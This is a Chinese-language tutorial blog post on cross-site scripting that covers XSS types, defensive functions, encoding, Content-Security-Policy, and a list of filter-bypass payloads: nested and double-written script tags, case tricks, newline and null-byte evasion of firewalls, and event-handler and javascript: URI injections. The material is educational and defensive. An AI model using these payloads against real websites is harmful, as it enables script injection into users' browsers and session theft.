XSS类型,防御及常见payload构造总结
什么是XSS?
XSS分类:
反射型:
<script>alert('XSS')</script>
XSS绕过 — 关于htmlspecicalchars()函数
htmlspecicalchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
& 成为 &
" 成为 "
' 成为 '
< 成为 &It(')
> 成为 > 可用的引号类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
http_only防护下的XSS
http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。
存储型:
DOM XSS
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
} </script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="ti jiao" onclick="test()" />
' onclick=alert(1) //
<a href='' onclick=alert(1) //' >testLink</a>
XSS防御手段
使用xss fileter
- 表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
- 过滤或移除特殊的 html 标签:<script>、<iframe>等。
- 过滤 js 事件的标签:onclick、onerror、onfocus等。
html实体
显示结果
|
描述
|
实体编号
|
|
空格
|
  ;
|
<
|
小于
|
< ;
|
>
|
大于
|
> ;
|
&
|
和
|
& ;
|
''
|
引号
|
" ;
|
编码转义
防御XSS的几个函数:
setcookie,通过将参数设置为true可以使cookie不能被js获取
htmlspecialchars()将html标签以实体输出
htmlentities()与上相同
escapeHTML()
strip_tags将标签去除
对json内容的转义escapeEmbedJSON()
自定义xss过滤器
应该关注新出现的html标签,可能这些标签还没有被过滤,可能触发xss
X-XSS-Protection设置
XSS 防御之 URL 编码
function encoding(str){
return encodeURIComponent(str);
};
XSS 防御之 CSS 编码
<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
function encoding(attr, str){
let encoded = '';
for (let i = 0; i < str.length; i++) {
let ch = str.charAt(i);
if (!ch.match(/[a-zA-Z0-9]/) {
let hex = str.charCodeAt(i).toString(16);
let pad = '000000'.substr((hex.length));
encoded += '\\' + pad + hex;
} else {
encoded += ch;
}
}
return encoded;
};
XSS防御之javascript编码
<a href="javascript:alert('xiao')" target="_blank">href xss</a>
<a href="javascript:alert('href xss HTML编码无效')" targ
CSP防御
<meta http-equiv="Content-Security-Policy" content="">
<meta http-equiv="Content-Security-Policy" content="
default-src http: https: *.xiao.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
default-src 'self';
self = 端口,协议,域名相同则信任(允许)
default-src 给下面所有的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(比如、<iframe>、和)
connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件 CSP2规范中:
child-src 有效的 web workers 和 元素来源,如 <frame> 和 <iframe> (这个指令用来替代 CSP 1 中废弃了的 frame-src 指令)
form-action 可以作为 HTML <form> 的 action 的有效来源
frame-ancestors 使用 <frame>,<iframe>,<object>,<embed> 或 <applet> 内嵌资源的有效来源
upgrade-insecure-requests 命令用户代理来重写 URL 协议,将 HTTP 改到 HTTPS (为一些需要重写大量陈旧 URL 的网站提供了方便)。 同时
CSP 2 允许你添加路径到白名单中(CSP 1 只允许域名被添加到白名单中)。
常见payload构造
对script标签进行一次移除操作(嵌套欺骗):
<scr<script>ipt>alert('xss')</scr<script>ipt>
<script>alert("XSS")</script>
<script src="http://baidu.com"></script>
属性内输出闭合标签
"><script>alert('xss')</script>
javascript事件
< onfocus=javascript:alert('XSS') >
<div οnmοuseenter="alert('xss')">
iframe标签
<iframe src="javascript:alert(1)">
action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
大小写绕过
<sCRipt>alert(1)</sCript>
双写绕过
<sscriptcript>alert('XSS')</sscriptcript>
编码绕过/特殊字符绕过
javascrip%0at:alert('xss')
//%0a(换行符)将代码隔开
javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http://
javascrip%0at:alert('xss')/*http://*/
//3-5为注释绕过
angular.min.js javascript框架
补充:
ng-include可以包含一个html文件(但不限于html文件), 但只是加载一个静态页面显示在前端,不会加载里面的js, 使用时要在文件名要用单引号包起来,
空字节
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
src属性
<img src=x οnerrοr=prompt(1);>
参考:
XSS类型,防御及常见payload构造总结的更多相关文章
- XSS之防御与绕过
很久之前的随笔讲过XSS的编码绕过的一些内容 本次侧重整理一下常见的防御思路,顺便补充一些针对性的绕过思路以及关于XSS个人想到的一些有趣的事情 开篇之前,先看一下XSS介绍(包括mXSS.uXSS. ...
- XSS攻击防御篇
前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全 ...
- Web安全系列(四):XSS 的防御
简介 XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现. 目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应 ...
- .Net Core 项目中添加统一的XSS攻击防御过滤器
一.前言 最近公司内部在对系统的安全进行培训,刚好目前手里的一个.net core 项目中需要增加预防xss的攻击,本文将大概介绍下何为XSS攻击以及在项目中如何统一的预防XSS攻击. 二.XSS简介 ...
- 风炫安全WEB安全学习第二十七节课 XSS的防御措施
风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都 ...
- 预防XSs和sql注入常见分析
SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
- 安全测试 - XSS如何防御
XSS主要是通过劫持用户COOKIE,执行JS脚本进行攻击 如何发现: 可以使用<script>alert(/yourname/)</script> script最具有代表性也 ...
- XSS的防御
基于代码修改的防御 和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免: 步骤1.对所有用户提交内容进行可靠的输入验证,包括对URL.查询 ...
随机推荐
- day111:MoFang:邀请好友流程&生成邀请好友二维码&第三方应用识别二维码&本地编译测试&记录邀请人信息
目录 1.邀请业务逻辑流程图 2.邀请好友-前端 3.邀请好友-后端接口(生成二维码) 4.前端获取后端生成的二维码 5.前端长按页面,保存图片到相册 6.客户端通过第三方识别微信二维码,服务端提供对 ...
- react第十单元(children的深入用法-React.Children对象上的方法)
第十单元(children的深入用法-React.Children对象上的方法) #课程目标 理解什么是children 掌握React.Children对象上的方法 #知识点 什么是children ...
- Java线程池二:线程池原理
最近精读Netty源码,读到NioEventLoop部分的时候,发现对Java线程&线程池有些概念还有困惑, 所以深入总结一下 Java线程池一:线程基础 为什么需要使用线程池 Java线程映 ...
- 给小白整理的一篇Python知识点
1.基本概念 1.1 四种类型 python中数有四种类型:整数.长整数.浮点数和复数. python中数有四种类型:整数.长整数.浮点数和复数. 整数, 如 1 长整数 是比较大的整数 浮点数 如 ...
- Python进阶学习_连接操作Redis数据库
安装导入第三方模块Redis pip3 install redis import redis 操作String类型 """ redis 基本命令 String set(n ...
- ASP.NET Core 3.1使用JWT认证Token授权 以及刷新Token
传统Session所暴露的问题 Session: 用户每次在计算机身份认证之后,在服务器内存中会存放一个session,在客户端会保存一个cookie,以便在下次用户请求时进行身份核验.但是这样就暴露 ...
- k8s重器之Service
Service是k8s的核心,通过创建Service,可以为一组具有相同功能的容器应用提供一个统一的入口地址,并将请求进行负载分发到各个容器应用上. 目录: Service定义详解 Service基本 ...
- C# 9 新特性——init only setter
C# 9 新特性--init only setter Intro C# 9 中新支持了 init 关键字,这是一个特殊的 setter,用来指定只能在对象初始化的时候进行赋值,另外支持构造器简化的写法 ...
- python谷歌序列化传输
今日破解某app加密app当中用到了谷歌序列化传输 1.请求序列化文件 # Generated by the protocol buffer compiler. DO NOT EDIT! # sour ...
- Java学习日报7.9
今日内容 阅读了构建之法第一章 工程师的宗旨:我构建,故我在. 哲学家的宗旨:我思,故我在. 科学家的宗旨:我发现故我在. 明天继续研究构建之法这本书!